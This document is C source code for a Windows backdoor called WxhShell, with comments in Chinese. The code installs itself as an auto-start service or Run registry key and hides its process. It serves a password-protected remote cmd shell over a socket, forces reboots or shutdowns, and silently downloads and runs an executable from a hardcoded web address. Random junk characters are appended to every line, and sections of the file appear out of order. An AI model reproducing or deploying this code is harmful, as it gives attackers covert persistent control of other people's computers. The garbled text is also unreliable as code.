  case 'd': { =s;M]:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ; DDe.f"  
    if(Boot(SHUTDOWN)) <C'Z H'p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e`iEy=W  
    else { :Xfn@>;3ui  
    closesocket(wsh); M(enRs3`O  
    ExitThread(0); ^]>aHz9  
    } )o{aeV  
    break; @E%DP9.I  
    } l1A5Y5x9=  
  // 获取shell w^HjZV  
  case 's': { )6-9)pH@)  
    CmdShell(wsh); ?,)"~c$hZ  
    closesocket(wsh); l+zb~  
    ExitThread(0); +Rwx% =  
    break; dz-y}J11  
  } /:Lu_)5   
  // 退出 Q9c)k{QZ  
  case 'x': { &eQJfc\a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <??umkV  
    CloseIt(wsh); gmP9j)V6  
    break; dU_;2#3m  
    } I4=Xb^Ux  
  // 离开 6B" egYv  
  case 'q': { eg<pa'Hw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uwmQ?LS]V  
    closesocket(wsh); %w ) +V  
    WSACleanup(); <jA105U"m>  
    exit(1); 'wQv3 ;  
    break; ]*N1t>fb  
        } RLVAT M5  
  } taWqSq!  
  } ?X9U TOx  
86 .`T l;  
  // 提示信息 e,0-)?5R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $_Nf-:D*  
} fjG&`m#"  
  } =qu(~]2(  
91Z'  
  return; {tiKH=&J  
} "_1)CDqP  
-ijC_`>  
// shell模块句柄 h6:#!Rg  
int CmdShell(SOCKET sock) kmPYx)o  
{ WFTvOFj  
STARTUPINFO si; EGVM)ur  
ZeroMemory(&si,sizeof(si)); zM#sOg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %aRT>_6"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]?+{aS-]?k  
PROCESS_INFORMATION ProcessInfo; YHXLv#8  
char cmdline[]="cmd"; <0P5 o|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5GzFoy)j>  
  return 0; I\O\,yPhhP  
} ^teq[l$;  
SmwQET<H  
// 自身启动模式 p>w]rE:}  
int StartFromService(void) V)ig)(CT  
{ 8^/I>0EZ  
typedef struct u\yVR$pQ  
{ W~1~k{A  
  DWORD ExitStatus; w>; L{  
  DWORD PebBaseAddress; Pe73g%  
  DWORD AffinityMask; dt@P>rel  
  DWORD BasePriority; "qz3u`[o  
  ULONG UniqueProcessId; MK #wut  
  ULONG InheritedFromUniqueProcessId; ~^jq(:d)  
}   PROCESS_BASIC_INFORMATION; Pz*_)N}j >  
dP?Ge}  
PROCNTQSIP NtQueryInformationProcess; b?X.U}62_  
!E8X~DJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TfYVw~p_%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }je,")#W  
nfSbM3D]h  
  HANDLE             hProcess; x+8_4>,>Y7  
  PROCESS_BASIC_INFORMATION pbi; c/N@zum,{  
H,fZ!8(A_)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &Mq~T_S  
  if(NULL == hInst ) return 0; i':ydDOOHA  
e}/Lk5q!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MTg:dR_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x+ncc_2n&D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,mhQ"\+C  
4;n6I)&.(  
  if (!NtQueryInformationProcess) return 0; F:@70(<w%  
{'?)FX*W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &,A64y  
  if(!hProcess) return 0; [[PEa-992  
4#x5MM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `ps)0!L L`  
X[`bMa7IB(  
  CloseHandle(hProcess); UcBe'r}G  
wW>zgTG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -p3Re9  
if(hProcess==NULL) return 0; Gj"7s8(/K|  
kt`nbm|aw  
HMODULE hMod; ]f+ csB  
char procName[255]; Ox#\M0Wn$3  
unsigned long cbNeeded; i1H\#;`$  
* #jsgj[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~gB>) ]  
R|O8RlH  
  CloseHandle(hProcess); s! n<}C  
O3TQixE  
if(strstr(procName,"services")) return 1; // 以服务启动 =]:>"_jN  
'F>'(XWWQ  
  return 0; // 注册表启动 I%- " |]$  
} j'9"cE5_  
 r.4LU  
// 主模块 3nZo{p:E  
int StartWxhshell(LPSTR lpCmdLine) 0-~\ W(  
{ /rUo{j  
  SOCKET wsl; ^Z~;4il_F  
BOOL val=TRUE; (aD_zG=k5  
  int port=0; ()~pY!)1/  
  struct sockaddr_in door; N[kwO1  
w@N  
  if(wscfg.ws_autoins) Install(); %Gt .m  
035rPT7-2-  
port=atoi(lpCmdLine); jDQZQ NS  
M5xCC!  
if(port<=0) port=wscfg.ws_port; /_ `lz^  
]T%rjsN  
  WSADATA data; bV ZMW/w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kF/9-[]$g,  
In`mtn q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oWYmj=D~2z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6R=W}q4  
  door.sin_family = AF_INET; ~%YBI9$+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); liXdNk8  
  door.sin_port = htons(port); (\SA *.)  
m 9/}~Y#k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,?L2wl[  
closesocket(wsl); kT;S4B  
return 1; J>/w5$h5  
} OF\rgz  
?M[ A7?  
  if(listen(wsl,2) == INVALID_SOCKET) { :_O%/k1\@  
closesocket(wsl); O} f80K  
return 1; LqA@&H  
} k1QpKn*  
  Wxhshell(wsl); ,T2G~^0  
  WSACleanup(); y\ a1iy  
5H ue7'LS  
return 0; L21VS ,#I  
{7)st W  
} t^w"w`v\u  
;UxP Kpl  
// 以NT服务方式启动 mya_4I m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p`l0?^r c"  
{ lyGhdgWc  
DWORD   status = 0; 78/Zk}I]  
  DWORD   specificError = 0xfffffff; wu)w   
cJrmm2.0kD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qTqwPWW*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rYbpih=x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7x@A%2J  
  serviceStatus.dwWin32ExitCode     = 0; d!$Z (W0  
  serviceStatus.dwServiceSpecificExitCode = 0; Vv ?-"\Z>  
  serviceStatus.dwCheckPoint       = 0; (2=Zm@Zp f  
  serviceStatus.dwWaitHint       = 0; IP(Vr7-v  
ndkti5L,   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z /9>  
  if (hServiceStatusHandle==0) return; a]MX)?  
ia MUsa{  
status = GetLastError(); o|$AyS{1  
  if (status!=NO_ERROR) {j7uv"|X7  
{ !7kG!)40  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w'm;82V:P-  
    serviceStatus.dwCheckPoint       = 0; 'hs2RSq  
    serviceStatus.dwWaitHint       = 0; /bi}'H+#  
    serviceStatus.dwWin32ExitCode     = status; FAj)OTI2S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dp':oJC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eN^qG 42  
    return; fP. 6HF_p_  
  } >Vwc3d  
7eiV{tYF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MerFZd 1  
  serviceStatus.dwCheckPoint       = 0; oIduxbAp  
  serviceStatus.dwWaitHint       = 0; xjVS   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D`$hPYK|_  
} @9lUSk^9  
v^1pN>#%g  
// 处理NT服务事件,比如:启动、停止 nuw70*ell  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o<|P9#(U"  
{ |%' nVxc4r  
switch(fdwControl) CL+}| 7O(  
{ 8]U{;|';  
case SERVICE_CONTROL_STOP: 6,0_)O}\b  
  serviceStatus.dwWin32ExitCode = 0; HxIIO[h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |v$JCU3!A  
  serviceStatus.dwCheckPoint   = 0; o}* hY"&  
  serviceStatus.dwWaitHint     = 0; %*L:sTj(  
  { * /:x sI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); orjj' +;X  
  } |\7 ET[X q  
  return; Bq$rf < W  
case SERVICE_CONTROL_PAUSE: FW21 U<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WjlZ6g2i  
  break; ,"HL~2:~  
case SERVICE_CONTROL_CONTINUE: .%L?J E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;e1ku|>$  
  break; pLLGus+W  
case SERVICE_CONTROL_INTERROGATE: OHhsP}/  
  break; 5nKj )RH7M  
}; .~l=zu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f PM8f  
} &3n~ %$#N  
+,#$:fs u  
// 标准应用程序主函数 Pc NkAo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f)^_|8  
{ Bg|5KOnd  
3_MS.iM  
// 获取操作系统版本 GJoS #s  
OsIsNt=GetOsVer(); K*X_FJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4\4FolsK  
v5QqS8u_C  
  // 从命令行安装 LC'{p  
  if(strpbrk(lpCmdLine,"iI")) Install(); /#m=*&!CB  
)|DM~%$QM  
  // 下载执行文件 /Sc l#4bW  
if(wscfg.ws_downexe) { g.zEn/SM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {l/-LZ.  
  WinExec(wscfg.ws_filenam,SW_HIDE); WZ*ws[dVI  
} "saUai4z  
no9;<]4  
if(!OsIsNt) { W8KDX_vGJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 9 mmCp&~Z  
HideProc(); hKT  
StartWxhshell(lpCmdLine); 4Dw@r{  
} 98uV6b~g  
else aD=A^ktx  
  if(StartFromService()) 2 -C!jAfd  
  // 以服务方式启动  D0% Ug>  
  StartServiceCtrlDispatcher(DispatchTable); WYEKf9}  
else K0 }p i +=  
  // 普通方式启动 gT#&"aP5S  
  StartWxhshell(lpCmdLine); \\u<S=G  
a *ushB  
return 0; g!+| I  
} =1Oj*x@*4  
X bD4:i%  
'Pn3%&O$  
uFPF!Ern  
=========================================== p%*%n3bw  
jO1r)hw N>  
I~Zh@d%  
5 ({t4dm  
\8?Tdx=  
.R./0Ot tx  
" (+FfB"3]  
V9dF1Hj  
#include <stdio.h> 9&` 2V  
#include <string.h> PSZL2iGj9V  
#include <windows.h> :]^P1sH[  
#include <winsock2.h> IbP#_Vt  
#include <winsvc.h> #>mr[   
#include <urlmon.h> ]2\VweV  
Htgx`N|  
#pragma comment (lib, "Ws2_32.lib") '{ V0M<O  
#pragma comment (lib, "urlmon.lib") i-6F:\;  
I.94v #r  
#define MAX_USER   100 // 最大客户端连接数 -2A(5B9Fq  
#define BUF_SOCK   200 // sock buffer ;bL EL"x%  
#define KEY_BUFF   255 // 输入 buffer }9W4"e2)  
~R26  
#define REBOOT     0   // 重启 P)MDPI+~  
#define SHUTDOWN   1   // 关机 W^] 3XJP  
#~l(]h@ )  
#define DEF_PORT   5000 // 监听端口 TG+VEL |T  
yGPS`S  
#define REG_LEN     16   // 注册表键长度 6DuEL=C  
#define SVC_LEN     80   // NT服务名长度 .sj^{kGE  
86mp=6@  
// 从dll定义API L"j tf78  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <-D0u?8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OSf}Q=BL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ zEUH:9D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WUsKnf  
FcYFovS  
// wxhshell配置信息 82QGS$0V  
struct WSCFG { q11>f   
  int ws_port;         // 监听端口 nC}6B).el  
  char ws_passstr[REG_LEN]; // 口令 ykX/9y+-s  
  int ws_autoins;       // 安装标记, 1=yes 0=no qQsku;C?i  
  char ws_regname[REG_LEN]; // 注册表键名 Ts ^"xlK  
  char ws_svcname[REG_LEN]; // 服务名 S& \L-@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T<w5vqFDu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3T}izG]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x\s|n{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /i-J&*6_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T|dY 2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `P8Vh+7u  
6^"=dn6K  
}; }c}| $h^Y  
B{C??g8/  
// default Wxhshell configuration .G)(0z("s  
struct WSCFG wscfg={DEF_PORT, :h&fbBH  
    "xuhuanlingzhe", 7qg{v9|,  
    1, EVVP]ND  
    "Wxhshell", B,@c; K  
    "Wxhshell", <p\6AnkMr  
            "WxhShell Service", :xh?e N&  
    "Wrsky Windows CmdShell Service", RQ'H$r.7g  
    "Please Input Your Password: ", SOi*SwQ8  
  1, ~D5\O6mU-  
  "http://www.wrsky.com/wxhshell.exe", jp"JafS/E  
  "Wxhshell.exe" $n+w$CI)  
    }; 7"w2$*4'0  
+tk{"s^r*  
// 消息定义模块  ?kZTI (  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }f8Uc+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k-HCeZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =R Ah|e  
char *msg_ws_ext="\n\rExit."; V {pj~D.E  
char *msg_ws_end="\n\rQuit."; %T)oCjM[\  
char *msg_ws_boot="\n\rReboot..."; -R%<.]fJ  
char *msg_ws_poff="\n\rShutdown..."; hvuIxqv!y  
char *msg_ws_down="\n\rSave to "; ,^x4sA[/  
&znQ;NH#  
char *msg_ws_err="\n\rErr!"; ^H2-RBE#  
char *msg_ws_ok="\n\rOK!"; FcRW;e8-  
@Q^P{  
char ExeFile[MAX_PATH]; qd#sY.|1  
int nUser = 0; DVK)2La  
HANDLE handles[MAX_USER]; =7C%P%yt  
int OsIsNt; :bWUuXVtJ  
BvR-K\rx  
SERVICE_STATUS       serviceStatus; 8g:;)u4$P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8 XICF  
xZQg'IT  
// 函数声明 a_ `[Lj  
int Install(void); P#_sg0oJF  
int Uninstall(void); )EL!D%<A  
int DownloadFile(char *sURL, SOCKET wsh); n[]tXrhU  
int Boot(int flag); AwTJJ0>  
void HideProc(void); u6MzRC  
int GetOsVer(void); g-e #!(  
int Wxhshell(SOCKET wsl); VH(S=G5Yb  
void TalkWithClient(void *cs); e][B7wZ  
int CmdShell(SOCKET sock); ^B@Wp  
int StartFromService(void); Ty<L8+B|  
int StartWxhshell(LPSTR lpCmdLine); w^#L9i'v'  
xw3YK!$sIF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * =wYuJ#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FI<q@HF  
BWM YpZom  
// 数据结构和表定义 :sP!p`dl  
SERVICE_TABLE_ENTRY DispatchTable[] = K\$J4~EtG  
{ x#Q>J"g  
{wscfg.ws_svcname, NTServiceMain}, \N4 y<  
{NULL, NULL} u_ '!_T L  
}; #~=hn8  
TU GNq  
// 自我安装 Qed.4R:o  
int Install(void) G <uyin>  
{ UH"#2< |b  
  char svExeFile[MAX_PATH]; GHHav12][  
  HKEY key; hTM[8 ~<^  
  strcpy(svExeFile,ExeFile); 8-lOB  
\|Ul]1pO8  
// 如果是win9x系统,修改注册表设为自启动 )6w}<W*1E  
if(!OsIsNt) { d5>H3D{49  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VL/|tL>E^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P{5-Mx!{&  
  RegCloseKey(key); g(Io/hyj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @0eHS +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K^3co  
  RegCloseKey(key); qBQ`~4s  
  return 0; C-?%uF  
    } (s1k$@d  
  } =1u@7Bh  
} `$~Rxz Z g  
else { :KKa4=5L  
*5wu   
// 如果是NT以上系统,安装为系统服务 c(/VYMJZ&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [F*4EGB  
if (schSCManager!=0) iajX~kv  
{ Wfz\ `y  
  SC_HANDLE schService = CreateService UDc$"a}ds{  
  ( U^.4Hy&D  
  schSCManager, d7&eLLx  
  wscfg.ws_svcname, =L5GhA~  
  wscfg.ws_svcdisp, Yyfq  
  SERVICE_ALL_ACCESS, 6AP~]e 8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r,]#b[:.s|  
  SERVICE_AUTO_START, %+F"QI1~0  
  SERVICE_ERROR_NORMAL, 3-%Cw2ds  
  svExeFile, 4_D@ST%  
  NULL, /{{UP-  
  NULL, mC z,2K|^~  
  NULL, 5PIZh<  
  NULL, kwud?2E  
  NULL oR~e#<$;  
  ); +'G0{;b  
  if (schService!=0) bpkwn<7-  
  { ur\qOX|{  
  CloseServiceHandle(schService); X]y )ZF26  
  CloseServiceHandle(schSCManager); Y2R\]FrT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !~ZP{IXyo  
  strcat(svExeFile,wscfg.ws_svcname); TS"D]Txs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nq1 9Q)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $2MAZGJV  
  RegCloseKey(key); ZL< MC~  
  return 0; fRvAKz|rL  
    } P0i V<T4^  
  } 2`a q**}  
  CloseServiceHandle(schSCManager); fIocq  
} mF09U(ci  
} QR> Y%4 ;h  
o:Zd1"Z  
return 1; 9]>iSG^H  
} e.o;eD}"  
}#v{`Sn%^C  
// 自我卸载 C*I(|.i@  
int Uninstall(void) XTeb9h)3  
{ %@R~DBS  
  HKEY key; .5Q:Xp  
 jAND7&W  
if(!OsIsNt) { XjE>k!=I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hwm?#6\5  
  RegDeleteValue(key,wscfg.ws_regname); &*&?0ov^"  
  RegCloseKey(key); 7@PIM5h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (vJ2z =z  
  RegDeleteValue(key,wscfg.ws_regname); gcJF`H/iNK  
  RegCloseKey(key); "%@uO)A /  
  return 0; Ze!92g  
  } 15zrrU~D  
} ^*^/]vM  
} WA)Ij(M8 p  
else { fMeZ]rb  
NNa1EXZ[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  uu%?K@Qq  
if (schSCManager!=0) cX At :m  
{ \h3e-)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L|^o7 1t|  
  if (schService!=0) sFb4`  
  { sg'NBAo"  
  if(DeleteService(schService)!=0) { )9P&=  
  CloseServiceHandle(schService); {5Eyr$  
  CloseServiceHandle(schSCManager); @ERu>nSP  
  return 0; >WM3|  
  } ?Ay3u^X  
  CloseServiceHandle(schService); ~F#A Pt  
  } gvnj&h.GV  
  CloseServiceHandle(schSCManager); hteOh#0{   
} &-GuKH(Y<  
} ggou*;'  
k|O,1  
return 1; daOS8_py  
} Yb=6C3l@  
H_X?dj15  
// 从指定url下载文件 '1]7zWbW  
int DownloadFile(char *sURL, SOCKET wsh) Isovwd  
{ Qg0vG]  
  HRESULT hr; 6~W u`  
char seps[]= "/"; JJl7JwSTW  
char *token; ):bu;3E  
char *file; m{&w{3pQk  
char myURL[MAX_PATH]; fW~*6ln  
char myFILE[MAX_PATH]; O}gX{_|6  
j 0 Y  
strcpy(myURL,sURL); ^'B-sz{{  
  token=strtok(myURL,seps);  #[ :w  
  while(token!=NULL) +p?hGoF=  
  { PV,"-Nv,  
    file=token; 93I'cWN  
  token=strtok(NULL,seps); \n@V-b  
  } Lp~^*j(  
[A_r1g&_  
GetCurrentDirectory(MAX_PATH,myFILE); ozxYH],  
strcat(myFILE, "\\"); S+FQa7k  
strcat(myFILE, file); +t>XxYScx  
  send(wsh,myFILE,strlen(myFILE),0); ~JE|f 7  
send(wsh,"...",3,0); Za!w#j%h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +Pw,Nl\KD  
  if(hr==S_OK) J v<$*TVS0  
return 0; l.7d$8'\  
else 6_U |(f  
return 1; ?f@ 9nph  
n4>cERf a  
} L*O>IQh2  
MW]8;`|jC  
// 系统电源模块 p!GZCf,   
int Boot(int flag) n{{ P 3f  
{ [` 'd#pR  
  HANDLE hToken; m %Y( O  
  TOKEN_PRIVILEGES tkp; f N0bIE Y  
u0 BMyH  
  if(OsIsNt) { O3+)qb!X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <~O}6HQ#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yId;\o B  
    tkp.PrivilegeCount = 1; N<"`ShCNM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iIB9j8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1$OVe4H1  
if(flag==REBOOT) { IM$0#2\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wDZ  
  return 0; A: c]1  
} g9|qbKQ:[  
else { !Y|8z\ Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /B=l,:TnJ  
  return 0; $vqU|]J`  
} s@ z{dmL  
  } 2) ?  
  else { \2Xx%SX  
if(flag==REBOOT) { Me<du& T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HNFhH0+^  
  return 0; u&tFb]1@)  
} :4iU^6  
else { N)P((>S;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '5V^}/  
  return 0; T aEt  
} S{ey@ X(  
} PC[cHgSYU  
HrDTn&/  
return 1; }/4 9T  
} .`mtA`N  
1N>6rN  
// win9x进程隐藏模块 ;n` $+g:>  
void HideProc(void) 2@4x"F]U;  
{ Q QT G9s  
E;xMPK$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  A<2I!  
  if ( hKernel != NULL ) .E#<fz  
  { @Mzz2&(d U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^W5>i[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ r~+p  
    FreeLibrary(hKernel); rv`2*B  
  } a6k(9ZF  
6hLNJ  
return; W\'Nv/L  
} z2.*#xTZn  
Oq[i &  
// 获取操作系统版本 K/Sq2:  
int GetOsVer(void) tK*%8I\s  
{ kpl~/i`4  
  OSVERSIONINFO winfo; >6XDX=JVI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I Jqv w  
  GetVersionEx(&winfo); T.J`S(oI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @l)\?IEF@f  
  return 1;  xQX<w\s  
  else W^003*m~~K  
  return 0; ]NbX`'  
} (%6(5,   
lt{lHat1  
// 客户端句柄模块 Akv(} !g  
int Wxhshell(SOCKET wsl) FwXKRZa  
{ @k_Jl>X  
  SOCKET wsh; ,tcP=f dk]  
  struct sockaddr_in client; yI3Q|731)  
  DWORD myID; (W7;}gysh  
||yXp2  
  while(nUser<MAX_USER) .4H_Zt[2  
{ uE"5cq'B/  
  int nSize=sizeof(client); <9ePi9D(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8mk}nex  
  if(wsh==INVALID_SOCKET) return 1; *~"zV`*Q  
@>M8Pe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 67}]s@:l](  
if(handles[nUser]==0) !'Pk jP  
  closesocket(wsh); m$7x#8gF  
else "kcpA#uD|  
  nUser++; 8.*\+nH  
  } w 9G_>+?E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UedvA9$&;  
'.]e._T  
  return 0; \Y51KB\  
} TTeAa  
mGt\7&`  
// 关闭 socket Sg/:n,68  
void CloseIt(SOCKET wsh) }5fU7&jA;3  
{ &=v/VRan[  
closesocket(wsh); 'q{PtYr  
nUser--; C$$"{FfgU"  
ExitThread(0);  ]# Y|   
} f %bc64N(  
JVD@I{  
// 客户端请求句柄 'dmp4VT3  
void TalkWithClient(void *cs) pi^^L@@ d  
{ 1 ;_{US5FR  
aEcktg6h  
  SOCKET wsh=(SOCKET)cs; bHhC56[M  
  char pwd[SVC_LEN]; OT-n\sL$  
  char cmd[KEY_BUFF]; Zk~nB}Xw  
char chr[1]; b}ySZlmy  
int i,j; @J~ lV\  
T)b3N| ONB  
  while (nUser < MAX_USER) { n%83jep9  
) 1lJ<g#  
if(wscfg.ws_passstr) { [ea6dv4p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UI|v/(_^F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s(1_:  
  //ZeroMemory(pwd,KEY_BUFF); Gl?P.BCW.&  
      i=0; X% Spv/8{  
  while(i<SVC_LEN) { el <<D  
8C*6Fjb#  
  // 设置超时 Ov $N"  
  fd_set FdRead; 3R)cbwL  
  struct timeval TimeOut; .\z|Fr  
  FD_ZERO(&FdRead); Z:\;R{D  
  FD_SET(wsh,&FdRead); 8CHb~m@^$  
  TimeOut.tv_sec=8; #JJp:S~`   
  TimeOut.tv_usec=0; A2g"=x[1@K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jOoIF/So  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GN htnB  
&[?u1qQ%o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w\"n!^ms  
  pwd=chr[0]; XBfiaj  
  if(chr[0]==0xd || chr[0]==0xa) { ;4-p upK~%  
  pwd=0; z;fd#N:  
  break; ,z?<7F1q=  
  } {Y3_I\H8{  
  i++; 4b3F9  
    } QrNL7{  
(ybtXoQs  
  // 如果是非法用户,关闭 socket jV,(P$ 5;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LyJTK1]#  
} D,}'E0  
q G :jnl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "Cyo<|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WuP([8  
D&z'tf5  
while(1) { a'_MhJzs  
H0D>A<Ue  
  ZeroMemory(cmd,KEY_BUFF); s0XRL1kWr  
AhbT/  
      // 自动支持客户端 telnet标准   1WUFk?p  
  j=0; %vf2||a$BS  
  while(j<KEY_BUFF) { zbIwH6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wZ]BY;  
  cmd[j]=chr[0];  =BqaGXr  
  if(chr[0]==0xa || chr[0]==0xd) { o-Q]Dk1W  
  cmd[j]=0; F9u:8;\@`  
  break; [}9XHhY1O=  
  } >?G|Yz*kEJ  
  j++; 7U{b+=,wK  
    } P xP?hk  
u'$yYzBE  
  // 下载文件 \4\\575zp'  
  if(strstr(cmd,"http://")) { A1k&` |k   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,IT)zCpaBP  
  if(DownloadFile(cmd,wsh)) s_ GK;;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -_{C+Y_  
  else !ulLGmUn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  0'V-  
